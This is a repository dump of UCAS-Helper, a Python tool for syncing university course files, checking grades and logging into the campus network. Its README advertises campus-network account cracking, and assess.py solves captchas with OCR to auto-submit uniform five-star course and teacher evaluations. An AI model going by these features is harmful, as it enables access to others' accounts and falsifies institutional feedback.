32 | * [6. 问题反馈](#6-问题反馈)
33 |
34 | # 前言
35 | 原本只是一时兴起,为了方便写的UCAS课程网站小助手,帮助我自己进行课程资源快速同步。没想到后面随着功能的增加,项目也变得小有规模起来,因此将其开放给全体UCAS同学,小助手的使用方式在下面有介绍,十分简便(需要一点对`python`环境的了解,百度`python`的安装即可),如果你觉得本项目对你有所帮助的话,希望你能帮我点个star,算是对作者的一点激励吧~ 感谢每一个为项目点上`star`,让更多人看到这个项目的人。❤️
36 |
37 | # 1. 功能介绍
38 | - [x] 课程资源同步
39 | - [x] 课程评教
40 | - [x] 成绩查询
41 | - [x] 校园网登录/登出
42 | - [x] 校园网账号破解
43 |
44 | > `校园网`相关功能因缺乏校园网环境无法维护确认,感兴趣的可以提交PR:)
45 |
46 | [点击这里](docs/functions.md)查看详细功能介绍
47 |
48 | # 2. 更新日志
49 | [点击这里](docs/change_log.md)查看更新日志
50 |
51 | ## 2.1 公告(important)
52 | > 当作者发现或有人提供`UCAS-Helper`的核心功能出现问题时(多半是课程网站改动导致),会在此处加以说明,并提示在哪个版本中修复了该问题,你也可以在[ChangLog](docs/change_log.md)中查看具体的信息
53 |
54 | - 【220501】:5.1假期第二天上Github突然发现有人提交了[issue](https://github.com/GentleCP/UCAS-Helper/issues/27) ,没想到这么久了这个项目还有人在活跃使用,因此假期无事正好解决一下存在的小问题,版本更新到2.4.0,现在不支持从`settings.py`中获取用户信息,请将用户信息填写到`conf/user_config.ini`中!当天测试**资源下载、分数查询**功能均可正常使用,希望后续依然有热心的同学能积极提交PR,帮助维护本项目~最后,祝大家5.1劳动节快乐(虽然真正只放了半天QAQ)
55 |
56 | - 【220328】:PR更新了新的SEP密码登陆方式,于22/3/28功能正常
57 |
58 | - 【210528-停更公告】:由于精力有限,作者本人不再进行`UCAS-Helper`的更新维护工作,下面是一些停更后可能会有的问题,在此提前解答。
59 | - **停更后UCAS-Helper还能用吗**:经本人停更当天`210528`测试,`UCAS-Helper`的**课程网站登录,课程资源同步下载,成绩查询**功能均可正常使用,**校园网登录/登出/破解**功能因本人缺乏校园网环境无法测试,**自动评教功能**由于本人无课程可评亦无法测试(感谢Jingyi Shi对评教功能的修复)。后续若课程网站改动(可能性较小),可能会导致某些功能失效,不管怎样,你可以先尝试`clone`代码使用看看。
60 | - **还有可能更新吗**:`UCAS-Helper`是一个完全开源的项目,虽然作者不再更新,但依然会接受各个对本项目有用的PR(如修复Bug,添加功能),欢迎有能力、有开源精神的同学`fork`本项目,并提交PR维护。当然,这不是一个**强制**的选项,你也可以`fork`后自己修改个人使用。
61 |
62 | - 【210505-分支暂停维护】:⚠️目前由于本人精力原因,项目`master`分支暂时无力维护,请使用稳定版分支`v2`(已修改为默认分支)代码
63 | - 【210414-课程网站登录失效】:由于课程网站改版,之前的登录接口即便账号密码输入正确,依然会提示账号密码错误,该问题已在`v2.3.4`中得到修复,请使用`>=`该版本的程序
64 |
65 | # 3. 作者信息
66 |
67 | [@GentleCP](https://github.com/GentleCP)
68 |
69 | ## 贡献者
70 | > 感谢以下同学为项目提供的PR,欢迎更多同学为项目提供贡献
71 |
72 | - [waruto210](https://github.com/waruto210)
73 | - [enochii](https://github.com/enochii)
74 | - [shijy16](https://github.com/shijy16)
75 | - [xuzheliang135](https://github.com/xuzheliang135)
76 |
77 | # 4. 效果预览
78 |
79 | - 小白使用窗口
80 | 
81 | - 自动登录校园网
82 | 
83 | - 校园网账号破解
84 |
85 | - 自动查分
86 | 
87 | - 显示本学期课程列表
88 | 
89 |
90 | - 同步所有课程资源到本地
91 | 
92 | - 同步指定课程的资源到本地
93 | 
94 | - 同步指定课程的指定一个资源到本地
95 |
96 | - 自动评估课程和教师
97 | 
98 |
99 | # 5. 使用教程
100 |
101 | [点击这里](docs/usage.md)查看使用教程
102 |
103 | # 6. 问题反馈
104 | - `issue`:提交前请先确认是否已有相似的`issue`,尝试自己解决。
105 | - 提问方式:请详细描述你遇到的问题,具体包括:
106 | 1. 使用的版本(绝大多数问题通过更新到最新版本可以解决)
107 | 2. 产生问题的功能(哪个具体功能出现了使用问题)
108 | 3. 问题的具体描述(例如**分数查询时长时间卡顿,没有显示结果**,最好配上截图)
109 |
110 | 如果你发现了问题,并自己解决修复了,希望你能提交PR,作为贡献者帮助完善这个项目。
111 |
112 |
--------------------------------------------------------------------------------
/accounts.json:
--------------------------------------------------------------------------------
1 | {
2 | "useful_accounts": [],
3 | "useless_accounts": [],
4 | "current_month": 12
5 | }
--------------------------------------------------------------------------------
/conf/record.ini:
--------------------------------------------------------------------------------
1 | [update_info]
2 | last_update_time = 2021-03-15T02:50:59Z
3 | tag = v2.3.1
4 |
5 |
--------------------------------------------------------------------------------
/conf/user_config.ini:
--------------------------------------------------------------------------------
1 | [user_info]
2 | username =
3 | password =
4 |
5 |
6 | [course_info]
7 | resource_path =resources
8 |
9 | [sep_info]
10 | key=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxG1zt7VW/VNk1KJC7AuoInrMZKTf0h6S6xBaROgCz8F3xdEIwdTBGrjUKIhIFCeDr6esfiVxUpdCdiRtqaCS9IdXO+9Fs2l6fx6oGkAA9pnxIWL7bw5vAxyK+liu7BToMFhUdiyRdB6erC1g/fwDVBywCWhY4wCU2/TSsTBDQhuGZzy+hmZGEB0sqgZbbJpeosW87dNZFomn/uGhfCDJzswjS/x0OXD9yyk5TEq3QEvx5pWCcBJqAoBfDDQy5eT3RR5YBGDJODHqW1c2OwwdrybEEXKI9RCZmsNyIs2eZn1z1Cw1AdR+owdXqbJf9AnM3e1CN8GcpWLDyOnaRymLgQIDAQAB
11 |
12 |
--------------------------------------------------------------------------------
/core/__init__.py:
--------------------------------------------------------------------------------
1 | # @Author : GentleCP
2 | # @Email : 574881148@qq.com
3 | # @File : __init__.py.py
4 | # @Item : PyCharm
5 | # @Time : 2019-11-18 15:48
6 | # @WebSite : https://www.gentlecp.com
--------------------------------------------------------------------------------
/core/assess.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | """
3 | -----------------Init-----------------------
4 | Name: assess.py
5 | Description:
6 | Author: GentleCP
7 | Email: 574881148@qq.com
8 | WebSite: https://www.gentlecp.com
9 | Date: 2020-08-31
10 | -------------Change Logs--------------------
11 |
12 |
13 | --------------------------------------------
14 | """
15 | import re
16 | import time
17 | import requests
18 | from PIL import Image
19 | from io import BytesIO
20 | from util import ocr
21 |
22 | from bs4 import BeautifulSoup
23 |
24 | from core.login import Loginer
25 | from handler.logger import LogHandler
26 |
27 | class Assesser(Loginer):
28 |
29 | def __init__(self,
30 | urls=None,
31 | user_config_path='../conf/user_config.ini',
32 | assess_msgs=[],
33 | *args, **kwargs):
34 | super().__init__(urls, user_config_path, *args, **kwargs)
35 | self._logger = LogHandler('Assesser')
36 | self._assess_msgs = assess_msgs
37 |
38 | self._id_pattern = re.compile('/evaluate/.*?/(?P.*?)$')
39 | self._course_assess_url = None # 动态获取课程评估地址
40 |
41 |
42 | def _get_course_ids(self):
43 | # 获取课程评估url
44 | try:
45 | res = self._S.get(url=self._urls['view_url']['http'], headers=self.headers, timeout=5)
46 | except requests.Timeout:
47 | res = self._S.get(url=self._urls['view_url']['https'], headers=self.headers)
48 | bs4obj = BeautifulSoup(res.text,'html.parser')
49 | href = bs4obj.find('a',string=re.compile('.*学期$')).get('href')
50 | self._course_assess_url = self._urls['base_url']['http'] + href
51 | # 获取课程id
52 | try:
53 | res = self._S.get(self._course_assess_url, headers=self.headers, timeout=5)
54 | except requests.Timeout:
55 | self._course_assess_url = self._urls['base_url']['https'] + href
56 | res = self._S.get(self._course_assess_url, headers=self.headers)
57 |
58 | bs4obj = BeautifulSoup(res.text, 'html.parser')
59 | urls = [url.get('href') for url in bs4obj.find_all('a', {'class': 'btn'})]
60 | course_ids = []
61 | for url in urls:
62 | course_ids.append(self._id_pattern.search(url).groupdict()['id'])
63 | return course_ids
64 |
65 |
66 | def __assess_course(self,course_id):
67 | try:
68 | res = self._S.get(self._urls['base_evaluateCourse_url']['http'] + course_id, headers=self.headers, timeout=5)
69 | except requests.Timeout:
70 | res = self._S.get(self._urls['base_evaluateCourse_url']['https'] + course_id, headers=self.headers)
71 |
72 |
73 | s = res.text.split('?s=')[-1].split('"')[0]
74 | bs4obj = BeautifulSoup(res.text, 'html.parser')
75 | radios = bs4obj.find_all('input', attrs={'type': 'radio'})
76 | value = radios[0]['value']
77 | data = {}
78 | data['adminValidateCodeStr'] = self._get_capcha_code()
79 |
80 | for radio in radios:
81 | data[radio['name']] = value
82 | textareas = bs4obj.find_all('textarea')
83 | for textarea, asses_msg in zip(textareas,self._assess_msgs[0:-2]):
84 | # 填写主观评价内容
85 | item_id = textarea.get('id')
86 | data[item_id] = asses_msg
87 | subjectiveRadio = bs4obj.find('input', {'class':'required radio'}).get('id')
88 | subjectiveCheckbox = bs4obj.find('input',{'class','required checkbox'}).get('id')
89 | data['subjectiveRadio']= subjectiveRadio # 教室大小合适
90 | data['subjectiveCheckbox']= subjectiveCheckbox # 自己需求和兴趣
91 |
92 | try:
93 | post_url = self._urls['base_saveCourseEval_url']['http'] + course_id[:-2] + '?s=' + s
94 | res = self._S.post(post_url, data=data,headers=self.headers,timeout=5)
95 | except requests.Timeout:
96 | post_url = self._urls['base_saveCourseEval_url']['https'] + course_id[:-2] + '?s=' + s
97 | res = self._S.post(post_url, data=data, headers=self.headers)
98 |
99 | tmp = BeautifulSoup(res.text, 'html.parser')
100 | try:
101 | flag = tmp.find('label', attrs={'id': 'loginSuccess'})
102 | if flag.string == '保存成功':
103 | print('\033[1;45m{}评估结果:[success] \033[0m'.format(course_id))
104 | else:
105 | print('\033[1;45m{}评估结果:[fail],请手动重新评估该课 \033[0m'.format(course_id))
106 |
107 | except AttributeError:
108 | print('\033[1;45m{}评估结果:[fail],尝试重新评估 \033[0m'.format(course_id))
109 | self.__assess_course(course_id)
110 |
111 |
112 |
113 | def _assess_courses(self, course_ids):
114 | self._logger.info('开始评估课程')
115 | time.sleep(2)
116 | for course_id in course_ids:
117 | self.__assess_course(course_id)
118 | self._logger.info('课程评估完毕')
119 |
120 |
121 | def _get_teacher_ids(self):
122 | # 通过课程评估url得到教师评估url
123 | teacher_assess_url = self._course_assess_url.replace('course','teacher')
124 | res = self._S.get(teacher_assess_url, headers=self.headers)
125 | bs4obj = BeautifulSoup(res.text, 'html.parser')
126 | urls = [url.get('href') for url in bs4obj.find_all('a', {'class': 'btn'})]
127 | teacher_ids = []
128 | for url in urls:
129 | teacher_ids.append(self._id_pattern.search(url).groupdict()['id'])
130 | return teacher_ids
131 |
132 |
133 | def __assess_teacher(self, teacher_id):
134 | try:
135 | res = self._S.get(self._urls['base_evaluateTeacher_url']['http'] + teacher_id, headers=self.headers, timeout=5)
136 | except requests.Timeout:
137 | res = self._S.get(self._urls['base_evaluateTeacher_url']['https'] + teacher_id, headers=self.headers)
138 |
139 |
140 | bs4obj = BeautifulSoup(res.text,'lxml')
141 | radios = bs4obj.find_all('input', attrs={'type': 'radio'})
142 | value = radios[0]['value'] # 默认全5星好评
143 | data = {}
144 | data['adminValidateCodeStr'] = self._get_capcha_code()
145 |
146 | for radio in radios:
147 | data[radio['name']] = value
148 | textareas = bs4obj.find_all('textarea')
149 | for textarea, asses_msg in zip(textareas, self._assess_msgs[-2:]):
150 | # 填写主观评价内容
151 | item_id = textarea.get('id')
152 | data[item_id] = asses_msg
153 | data['subjectiveCheckbox'] = ''
154 | data['subjectiveRadio'] = ''
155 | post_action = bs4obj.find('form', {'id': 'regfrm'})
156 | try:
157 | post_url = self._urls['base_url']['http'] + post_action.get('action')
158 | except requests.Timeout:
159 | post_url = self._urls['base_url']['https'] + post_action.get('action')
160 | try:
161 | res = self._S.post(post_url, data=data, headers=self.headers, timeout=5)
162 | except requests.Timeout:
163 | res = self._S.post(post_url, data=data, headers=self.headers)
164 |
165 | tmp = BeautifulSoup(res.text, 'html.parser')
166 | try:
167 | flag = tmp.find('label', attrs={'id': 'loginSuccess'})
168 | if flag.string == '保存成功':
169 | print('\033[1;45m{}评估结果:[success] \033[0m'.format(teacher_id))
170 | return
171 | else:
172 | print('\033[1;45m{}评估结果:[fail],请手动评估该教师 \033[0m'.format(teacher_id))
173 |
174 | except AttributeError:
175 | print('\033[1;45m{}评估结果:[fail],尝试重新评估 \033[0m'.format(teacher_id))
176 | self.__assess_teacher(teacher_id)
177 |
178 |
179 | def _assess_teachers(self, teacher_ids):
180 | self._logger.info('开始评估教师')
181 | for teacher_id in teacher_ids:
182 | self.__assess_teacher(teacher_id)
183 | self._logger.info('教师评估完毕')
184 |
185 | def _get_capcha_code(self):
186 | try:
187 | captcha_res = self._S.get(self._urls['base_evaluate_url']['http'] + '/adminValidateImage.jpg', headers=self.headers, timeout=5)
188 | except requests.Timeout:
189 | captcha_res = self._S.get(self._urls['base_evaluate_url']['https'] + '/adminValidateImage.jpg', headers=self.headers, timeout=5)
190 | captcha_img = Image.open(BytesIO(captcha_res.content))
191 | # captcha_img.show()
192 | # captcha_code = input("请输入图片展示的验证码信息:")
193 | captcha_code = ocr.do_ocr(captcha_img)
194 | print("验证码信息: ", captcha_code)
195 | return captcha_code
196 |
197 | def run(self):
198 | self.login()
199 | course_ids = self._get_course_ids()
200 | self._assess_courses(course_ids)
201 | teacher_ids = self._get_teacher_ids()
202 | self._assess_teachers(teacher_ids)
203 |
204 |
205 | import settings
206 | if __name__ =='__main__':
207 | assesser = Assesser(
208 | urls=settings.URLS,
209 | assess_msgs=settings.ASSESS_MSG)
210 | assesser.run()
--------------------------------------------------------------------------------
/core/download.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | """
3 | -----------------Init-----------------------
4 | Name: download.py
5 | Description: 课程资源下载器
6 | Author: GentleCP
7 | Email: 574881148@qq.com
8 | WebSite: https://www.gentlecp.com
9 | Date: 2020-08-31
10 | -------------Change Logs--------------------
11 |
12 |
13 | --------------------------------------------
14 | """
15 | import re
16 | import configparser
17 |
18 | from bs4 import BeautifulSoup
19 | from core.login import Loginer
20 | from util.functions import *
21 | from handler.logger import LogHandler
22 | from handler.exception import ExitStatus
23 |
24 |
25 | def show(infos):
26 | if infos:
27 | for info in infos:
28 | print("\033[1;45m [{}]:{} \033[0m".format(info['id'], info['name']))
29 | else:
30 | print("\033[1;41m尚无信息!\033[0m")
31 |
32 |
33 | class Downloader(Loginer):
34 | def __init__(self,
35 | urls=None,
36 | user_config_path='../conf/user_config.ini',
37 | *args, **kwargs):
38 | super().__init__(urls, user_config_path, *args, **kwargs)
39 | self._logger = LogHandler("Downloader")
40 | self._filter_list = kwargs.get('filter_list', [])
41 |
42 | self._update_sources = []
43 | self._l_course_info = []
44 | self._d_source_info = {}
45 | self._cur_course_info = None
46 |
47 | self._collection_id_pattern = re.compile("value='(?P.*?)';") # 获取collection id 信息正则
48 | self._dir_pattern = re.compile("value='/group/[0-9]*/(?P.*?)';") # 获取文件夹目录信息正则
49 |
50 | def _set_resource_path(self):
51 | '''
52 | set resource path from conf/user_config.ini or from settings.py
53 | :return: None
54 | '''
55 | try:
56 | resource_path = self._cfg.get('course_info', 'resource_path')
57 | except (configparser.NoSectionError, configparser.NoOptionError) as e:
58 | self._logger.error(
59 | 'Can not read resource path from {}, please enter your resource path at first.(do not store it in settings.py, it is no longer supported'.format(
60 | self._user_config_path))
61 | exit(ExitStatus.CONFIG_ERROR)
62 | else:
63 | if not resource_path:
64 | self._logger.error(
65 | 'Resource path can not be empty, check it in {}.'.format(
66 | self._user_config_path))
67 | exit(ExitStatus.CONFIG_ERROR)
68 | else:
69 | self._logger.info('find source path, data will store in {}'.format(resource_path))
70 | self._resource_path = resource_path
71 | if not os.path.exists(self._resource_path):
72 | os.mkdir(self._resource_path)
73 |
74 | def __update_source_info(self, course_info, bs4obj, dir):
75 | i = 1
76 | for e in bs4obj.findAll('a'):
77 | try:
78 | if 'course.ucas.ac.cn/access/content/group' in e["href"]:
79 | filename = e.find('span', {'class': 'hidden-sm hidden-xs'}).get_text()
80 | self._d_source_info[course_info["name"]].append({'id': i, 'name': dir + filename, 'url': e["href"]})
81 | i += 1
82 | except (KeyError, AttributeError):
83 | continue
84 |
85 | def _recur_dir(self, course_info, source_url, bs4obj):
86 | '''
87 | 递归获取文件夹下文件信息
88 | :param source_url:
89 | :param bs4obj:
90 | :return:
91 | '''
92 | l_dir_objs = bs4obj.findAll('a', {'title': '文件夹'})
93 | if len(l_dir_objs) > 1:
94 | # 存在其他文件夹,添加当前目录资源信息,接着递归文件夹下内容
95 | cur_dir = self._dir_pattern.findall(l_dir_objs[0]["onclick"])[0] # 获取了课程文件夹信息
96 | self.__update_source_info(course_info, bs4obj, cur_dir)
97 |
98 | csrf_token = bs4obj.find('input', {'name': 'sakai_csrf_token'}).get("value") # 获取token,用于请求文件夹资源
99 |
100 | for e in bs4obj.findAll('a', {'title': '文件夹'})[1:]: # 第一个是当前目录忽略
101 | collection_id = self._collection_id_pattern.findall(e["onclick"])[1] # 获取了课程文件夹信息
102 | data = {
103 | 'source': 0,
104 | 'collectionId': collection_id,
105 | 'navRoot': '',
106 | 'criteria': 'title',
107 | 'sakai_action': 'doNavigate',
108 | 'rt_action': '',
109 | 'selectedItemId': '',
110 | 'itemHidden': 'false',
111 | 'itemCanRevise': 'false',
112 | 'sakai_csrf_token': csrf_token
113 | }
114 | res = self._S.post(source_url, data=data, headers=self.headers) # 获取文件夹下资源信息
115 | bs4obj = BeautifulSoup(res.text, 'html.parser')
116 | self._recur_dir(course_info, source_url, bs4obj)
117 |
118 | else:
119 | # 没有更深层文件夹了,添加资源信息
120 | try:
121 | cur_dir = self._dir_pattern.findall(l_dir_objs[0]["onclick"])[0] # 获取了课程文件夹信息
122 | except IndexError:
123 | cur_dir = None
124 | self.__update_source_info(course_info, bs4obj, cur_dir)
125 | return
126 |
127 | def _set_course_info(self):
128 | if not self._l_course_info:
129 | # 减少后续多次请求课程信息耗时
130 | try:
131 | res = self._S.get(url=self._urls['course_info_url']['http'], headers=self.headers, timeout=5)
132 | except requests.Timeout:
133 | res = self._S.get(url=self._urls['course_info_url']['https'], headers=self.headers)
134 |
135 | bsobj = BeautifulSoup(res.text, "html.parser")
136 | refresh_url = bsobj.find("noscript").meta.get("content")[6:] # 获取新的定向url
137 | res = self._S.get(refresh_url, headers=self.headers)
138 | bsobj = BeautifulSoup(res.text, "html.parser")
139 | new_course_url = bsobj.find('a', {"title": "我的课程 - 查看或加入站点"}).get("href") # 获取到新的课程信息url
140 | res = self._S.get(new_course_url, headers=self.headers)
141 | bsobj = BeautifulSoup(res.text, "html.parser")
142 | course_list = bsobj.findAll('tr') # 尚未筛选的杂乱信息
143 | i = 1
144 | for course in course_list:
145 | a = course.find('a')
146 | course_url = a.get("href")
147 | course_name = a.get_text()
148 | if "课程名称" not in course_name:
149 | self._l_course_info.append({'id': i, 'name': course_name, 'url': course_url})
150 | self._d_source_info.update({course_name: []}) # 为该课程开辟一个位置
151 | i += 1
152 |
153 | def _set_source_info(self, course_info):
154 | '''
155 | 给定一门课(name+url),获取该课的所有课程资源
156 | :param course:
157 | :return:
158 | '''
159 | if not self._d_source_info[course_info["name"]]:
160 | # 该门课的资源信息尚未存储到内存
161 | res = self._S.get(course_info["url"], headers=self.headers)
162 | bs4obj = BeautifulSoup(res.text, "html.parser")
163 | source_url = bs4obj.find('a', {'title': '资源 - 上传、下载课件,发布文档,网址等信息'}).get("href")
164 | res = self._S.get(source_url, headers=self.headers) # 获取课程资源页面
165 | bs4obj = BeautifulSoup(res.text, "lxml")
166 | self._recur_dir(course_info, source_url, bs4obj)
167 |
168 | def _download_one(self, course_info, source_info):
169 | '''
170 | 给定一门课,下载该门课指定一个资源
171 | :return:
172 | '''
173 | # 按季度划分课程
174 | if "秋季" in course_info['name']:
175 | base_dir = self._resource_path + '/秋季/'
176 | elif "春季" in course_info['name']:
177 | base_dir = self._resource_path + '/春季/'
178 | else:
179 | base_dir = self._resource_path + '/夏季/'
180 | if not os.path.exists(base_dir):
181 | os.mkdir(base_dir)
182 |
183 | course_dir = base_dir + course_info['name'] # 课程目录
184 | if not os.path.exists(course_dir):
185 | os.mkdir(course_dir)
186 |
187 | dirs = source_info['name'].split('/')[0:-1] # 只取目录部分
188 | if dirs:
189 | # 存在文件夹,递归检测文件夹
190 | recur_mkdir(course_dir, dirs)
191 |
192 | file_path = base_dir + course_info["name"] + '/' + source_info['name'] # 文件存储路径
193 | if not os.path.isfile(file_path):
194 | # 只下载没有的文件,若存在不下载,节省流量
195 | self._logger.info("正在下载:{}".format(source_info['name']))
196 | download_file(url=source_info['url'], session=self._S, file_path=file_path)
197 | self._update_sources.append("[{}:{}]".format(course_info["name"], source_info['name'])) # 记录更新的课程数据
198 |
199 | def _download_course(self, course_info):
200 | '''
201 | 下载一门课的所有资源
202 | :param S:
203 | :param course_info:
204 | :return:
205 | '''
206 | print("\033[1;45m正在同步{}全部资源... \033[0m".format(course_info["name"]))
207 | for source_info in self._d_source_info[course_info["name"]]:
208 | self._download_one(course_info, source_info)
209 |
210 | def _download_all(self, season=None):
211 | for course_info in self._l_course_info:
212 | if season is None:
213 | if course_info['name'] not in self._filter_list:
214 | self._set_source_info(course_info)
215 | self._download_course(course_info)
216 | else:
217 | if season in course_info['name'] and course_info['name'] not in self._filter_list:
218 | self._set_source_info(course_info)
219 | self._download_course(course_info)
220 | if self._update_sources:
221 | self._logger.info("[同步完成] 本次更新资源列表如下:")
222 | for source in self._update_sources:
223 | print('\033[1;41m' + source + '\033[0m')
224 |
225 | is_open = input("是否打开资源所在目录(默认n)?(y/n)")
226 | if is_open == 'y':
227 | if open_dir(self._resource_path) == 0:
228 | self._logger.info("已为您打开资源目录,请根据更新资源列表查询对应文件!")
229 | else:
230 | self._logger.error("打开资源目录失败,请手动开启!")
231 | else:
232 | self._logger.info("[同步完成] 本次无更新内容!")
233 | exit(ExitStatus.OK)
234 |
235 | def __check_option(self, option):
236 | if option == 'q':
237 | print("欢迎使用,下次再会~")
238 | exit(ExitStatus.OK)
239 |
240 | elif option == 'b' and self._cur_course_info:
241 | self._cur_course_info = None # 清空
242 | return True
243 |
244 | elif option == 'd' and not self._cur_course_info:
245 | self._download_all()
246 | return False
247 |
248 | elif option == 's' and not self._cur_course_info:
249 | self._download_all(season='春季')
250 | return False
251 |
252 | elif option == 'm' and not self._cur_course_info:
253 | self._download_all(season='夏季')
254 | return False
255 |
256 | elif option == 'f' and not self._cur_course_info:
257 | self._download_all(season='秋季')
258 | return False
259 |
260 | elif option == 'a' and self._cur_course_info:
261 | self._download_course(course_info=self._cur_course_info)
262 |
263 | elif option.isdigit() and self._cur_course_info:
264 | # 课程界面操作
265 | try:
266 | source_info = self._d_source_info[self._cur_course_info["name"]][int(option) - 1]
267 | except IndexError:
268 | self._logger.warning("不存在该序号课程资源,请重新选择!")
269 | else:
270 | self._download_one(self._cur_course_info, source_info)
271 |
272 | elif option.isdigit():
273 | # 主界面操作
274 | try:
275 | self._cur_course_info = self._l_course_info[(int(option) - 1)]
276 | except IndexError:
277 | self._logger.warning("不存在该序号课程,请重新选择!")
278 | else:
279 | self._set_source_info(self._cur_course_info)
280 | return True
281 |
282 | else:
283 | self._logger.warning("非法操作,请重新输入")
284 | return False
285 |
286 | def _cmd(self):
287 | while True:
288 | print("\033[1;45m>课程列表:\033[0m", flush=True)
289 | show(self._l_course_info)
290 | print("""
291 | ***************************************
292 | * id:显示对应课程的所有资源 *
293 | * d:一键同步所有资源 *
294 | * s:同步春季课程资源 *
295 | * m:同步夏季课程资源 *
296 | * f:同步秋季课程资源 *
297 | * q:退出 *
298 | ***************************************
299 | """)
300 | option = input("请输入你的操作:")
301 | if not self.__check_option(option):
302 | # 不进入下一级界面
303 | continue
304 | while True:
305 | print("\033[1;45m>课程列表>{}:\033[0m".format(self._cur_course_info["name"]))
306 | show(self._d_source_info[self._cur_course_info["name"]])
307 | print("""
308 | *********************************
309 | * id:下载对应id资源 *
310 | * a:下载所有 *
311 | * b:返回上一级 *
312 | * q:退出 *
313 | ********************************
314 | """)
315 | option = input("请输入你的操作:")
316 | if self.__check_option(option):
317 | # 接收到返回上级界面信息
318 | break
319 |
320 | def run(self):
321 | self._set_resource_path()
322 | if check_dir(self._resource_path):
323 | self._logger.error("资源存储路径非法或不正确,请检查你的resource_path配置是否正确!")
324 | exit(ExitStatus.CONFIG_ERROR)
325 | self.login()
326 | self._set_course_info() # 添加所有课程信息到内存中
327 | self._cmd() # 进入交互界面
328 |
329 |
330 | import settings
331 |
332 | if __name__ == '__main__':
333 | downloader = Downloader(
334 | urls=settings.URLS,
335 | )
336 | downloader.run()
337 |
--------------------------------------------------------------------------------
/core/grade.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | """
3 | -----------------Init-----------------------
4 | Name: grade.py
5 | Description:
6 | Author: GentleCP
7 | Email: 574881148@qq.com
8 | WebSite: https://www.gentlecp.com
9 | Date: 2020-08-31
10 | -------------Change Logs--------------------
11 |
12 |
13 | --------------------------------------------
14 | """
15 | import requests
16 | import logging
17 | from bs4 import BeautifulSoup
18 | from prettytable import PrettyTable
19 |
20 | from core.login import Loginer
21 | from handler.logger import LogHandler
22 |
23 | class GradeObserver(Loginer):
24 | """
25 | 课程成绩查看器
26 | """
27 |
28 | def __init__(self,
29 | urls=None,
30 | user_config_path='../conf/user_config.ini',
31 | *args, **kwargs):
32 | super().__init__(urls, user_config_path, *args, **kwargs)
33 | self._logger = LogHandler('GradeObserver')
34 |
35 |
36 | def _show_grade(self):
37 | try:
38 | res = self._S.get(self._urls['grade_url']['http'],headers=self.headers, timeout=5)
39 | except requests.Timeout:
40 | res = self._S.get(self._urls['grade_url']['https'],headers=self.headers)
41 |
42 | bs4obj = BeautifulSoup(res.text, 'html.parser')
43 | thead = bs4obj.find('thead')
44 | pd = PrettyTable()
45 | pd.field_names = [x.string for x in thead.find_all('th')]
46 |
47 | tbody = bs4obj.find('tbody')
48 | for tr in tbody.find_all('tr'):
49 | # tr:每一门课程信息
50 | pd.add_row([x.string.strip() for x in tr.find_all('td')])
51 | self._logger.info('成绩查询结果如下')
52 | print(pd)
53 |
54 |
55 | def run(self):
56 | self.login()
57 | self._show_grade()
58 |
59 |
60 | import settings
61 |
62 | if __name__ =='__main__':
63 | gradeObserver = GradeObserver(urls=settings.URLS)
64 | gradeObserver.run()
--------------------------------------------------------------------------------
/core/login.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | """
3 | -----------------Init-----------------------
4 | Name: login.py
5 | Description:
6 | Author: GentleCP
7 | Email: 574881148@qq.com
8 | WebSite: https://www.gentlecp.com
9 | Date: 2020-08-31
10 | -------------Change Logs--------------------
11 |
12 |
13 | --------------------------------------------
14 | """
15 | import base64
16 | import re
17 | import requests
18 | import settings
19 | import warnings
20 | from PIL import Image
21 | from io import BytesIO
22 | from bs4 import BeautifulSoup
23 |
24 | import configparser
25 | from handler.logger import LogHandler
26 | from handler.exception import ExitStatus
27 | from util.functions import get_cfg
28 | from util.ocr import do_ocr
29 | from Crypto.Cipher import PKCS1_v1_5 as Cipher_pksc1_v1_5
30 | from Crypto.PublicKey import RSA
31 |
32 | warnings.filterwarnings('ignore')
33 |
34 |
35 | def simulate_JSEncrypt(password, public_key):
36 | public_key = '-----BEGIN PUBLIC KEY-----\n' + public_key + '\n-----END PUBLIC KEY-----'
37 | rsakey = RSA.importKey(public_key)
38 | cipher = Cipher_pksc1_v1_5.new(rsakey)
39 | cipher_text = base64.b64encode(cipher.encrypt(password.encode()))
40 | return cipher_text.decode()
41 |
42 |
43 | class Loginer(object):
44 | """
45 | 登录课程网站
46 | """
47 |
48 | def __init__(self,
49 | urls=None,
50 | user_config_path='../conf/user_config.ini',
51 | *args, **kwargs):
52 | '''
53 | :param urls:
54 | :param user_config_path:
55 | :param args:
56 | :param kwargs: 目前仍支持从settings中读取设备,后续考虑移除
57 | '''
58 | self._logger = LogHandler("Loginer")
59 | self._S = requests.session()
60 | self._user_config_path = user_config_path
61 | self._cfg = get_cfg(self._user_config_path)
62 | self._urls = urls
63 |
64 | self.headers = {
65 | 'Connection': 'keep-alive',
66 | 'sec-ch-ua': '"Google Chrome";v="87", "\\"Not;A\\\\Brand";v="99", "Chromium";v="87"',
67 | 'Accept': '*/*',
68 | 'X-Requested-With': 'XMLHttpRequest',
69 | 'sec-ch-ua-mobile': '?0',
70 | 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.67 Safari/537.36',
71 | 'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
72 | 'Origin': 'https://onestop.ucas.ac.cn',
73 | 'Sec-Fetch-Site': 'same-origin',
74 | 'Sec-Fetch-Mode': 'cors',
75 | 'Sec-Fetch-Dest': 'empty',
76 | 'Referer': 'https://onestop.ucas.ac.cn/',
77 | 'Accept-Language': 'zh-CN,zh;q=0.9',
78 | }
79 |
80 | def _set_user_info(self):
81 | '''
82 | set user info from conf/user_config.ini
83 | :return: None
84 | '''
85 | try:
86 | username = self._cfg.get('user_info', 'username')
87 | password = self._cfg.get('user_info', 'password')
88 | key = self._cfg.get('sep_info', 'key')
89 | password = simulate_JSEncrypt(password, key)
90 | except (configparser.NoSectionError, configparser.NoOptionError) as e:
91 | self._logger.error(
92 | 'Can not read user information from {}, please enter your personal information at first.(do not store it in settings.py, it is no longer supported)'.format(
93 | self._user_config_path))
94 | exit(ExitStatus.CONFIG_ERROR)
95 | else:
96 | if not username or not password:
97 | # 用户名或密码信息为空
98 | self._logger.error(
